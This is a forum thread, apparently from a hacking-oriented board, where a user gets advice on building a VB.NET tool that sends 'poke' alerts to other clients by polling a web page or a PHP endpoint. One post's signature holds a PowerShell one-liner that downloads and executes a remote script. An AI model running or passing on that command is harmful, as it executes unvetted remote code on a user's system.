Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Sending Alerts to clients

Hello

I am currently trying to create a tool that will send an alert to all other computers running my client.

I know this is very vague but I don't really know you to explain it.

I will appreciate any help

What it looks like

[img]http://pics.keepthis.online/data/ecqdnvq0.q5s.png[/img]
running what client? your rat?

start with sockets, the clients would have to connect to your server then your server could send a message out
My gott, the Phallic Mother!

Probably the only postmodern neo-marxist who exists.
(May 9, 2016 01:02 PM)Slavoj Žižek Wrote:  running what client? your rat?

start with sockets, the clients would have to connect to your server then your server could send a message out

It's literally going to be a small program with a button that says poke and when you click it all other people online running that small program receive an alert.

I'll start looking into sockets.
Thanks
You're going to love this thread. It's exactly what you need.

Code
showthread.php?tid=2962380

Sorry I can't give you the direct link. I can't post links yet. :(
(May 9, 2016 01:06 PM)Malum™ Wrote:  You're going to love this thread. It's exactly what you need.

Code
showthread.php?tid=2962380

Sorry I can't give you the direct link. I can't post links yet. :(

So does that mean I need a program running on my server? It is running linux and I am coding this in VB.net
(May 9, 2016 01:11 PM)ОЯВІТ Wrote:  So does that mean I need a program running on my server? It is running linux and I am coding this in VB.net

Yes, it most definitely means you have to have a server running that all your clients will be connecting to.
If all you want to do is send a simple notification your best bet is to have the client(s) poll a webpage and check if it's contents have changed, if so, raise a notification. Writing a TCP server for this is going to be a lot of work and they can be difficult to maintain / keep online.
(May 9, 2016 05:07 PM)6e756c6c Wrote:  If all you want to do is send a simple notification your best bet is to have the client(s) poll a webpage and check if it's contents have changed, if so, raise a notification. Writing a TCP server for this is going to be a lot of work and they can be difficult to maintain / keep online.

I second what Aeon said, just post a random string to a webpage/txt and have the client save to file or in memory the string it received, then wait for it to change again, signifying the host want's to poke everyone.
What aeon said, you can create a simple PHP api and use downloadstring to get the contents of the page.
If page is blank, no alert. If page contains data, an alert is popped
(May 9, 2016 05:07 PM)6e756c6c Wrote:  If all you want to do is send a simple notification your best bet is to have the client(s) poll a webpage and check if it's contents have changed, if so, raise a notification. Writing a TCP server for this is going to be a lot of work and they can be difficult to maintain / keep online.

Thank you for the idea.
How would I go around changing the content on the page?
I need every client to be able to poke every client


(May 9, 2016 05:07 PM)6e756c6c Wrote:  If all you want to do is send a simple notification your best bet is to have the client(s) poll a webpage and check if it's contents have changed, if so, raise a notification. Writing a TCP server for this is going to be a lot of work and they can be difficult to maintain / keep online.

I currently have this which works and writes to it
However I would like to know how I would be able to clear the text file?
Code
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim request As WebRequest = WebRequest.Create("http://domain.com/poke/post.php?w=" & "poke")

        request.GetResponse()
        Call Clear
    End Sub


Do I need to use multi-threading for this as I need it both to check the state of the text file(check for poke) and also be able to accept the button click (initiate a poke)
This might help you in the right direction same idea just different concept. showthread.php?tid=5264061
Just make a HTML post form with a button you click called poke or whatever. When you click the button, it will save create a hash of the current time which is saved to a .txt file. When you run your application, it should first get a hash value to compare, then have it keep checking the URI periodically, and if the hashes changes then show an alert then save the most recent hash value to compare to the next. Pretty simple if you ask me.
I've done this type of project before! Basically I setup a webpage with info I wanted displayed in the notification message. First off I started the project off with a nulled string stored in the settings, and had a loop setup to compare the stored string to a downloaded string from my page, if the string and the web string did not match it would display the contents of the web string to the user via notification. Once the message is displayed it would store the web string into the settings string, then continue on with the loop.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(May 19, 2016 12:50 PM)Nick (Name) Wrote:  I've done this type of project before! Basically I setup a webpage with info I wanted displayed in the notification message. First off I started the project off with a nulled string stored in the settings, and had a loop setup to compare the stored string to a downloaded string from my page, if the string and the web string did not match it would display the contents of the web string to the user via notification. Once the message is displayed it would store the web string into the settings string, then continue on with the loop.

Would I use a timer to check the string?
I currently am using thread.sleep and the app is unresponsive while I do this
(May 19, 2016 01:00 PM)ОЯВІТ Wrote:  Would I use a timer to check the string?
I currently am using thread.sleep and the app is unresponsive while I do this

You should probably use separate threads for this. One handling input, and one scanning periodically for the pokes.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by BigDapApr 20, 2023 03:23 AM 4 130 Apr 20, 2023 03:23 AM
Last Post: BigDap
[C#] by kanare007Jun 23, 2016 02:36 AM 7 489 Jun 23, 2016 02:36 AM
Last Post: kanare007
[.NET] by VmX5Mar 20, 2016 03:31 PM 6 501 Mar 20, 2016 03:31 PM
Last Post: Hawk HF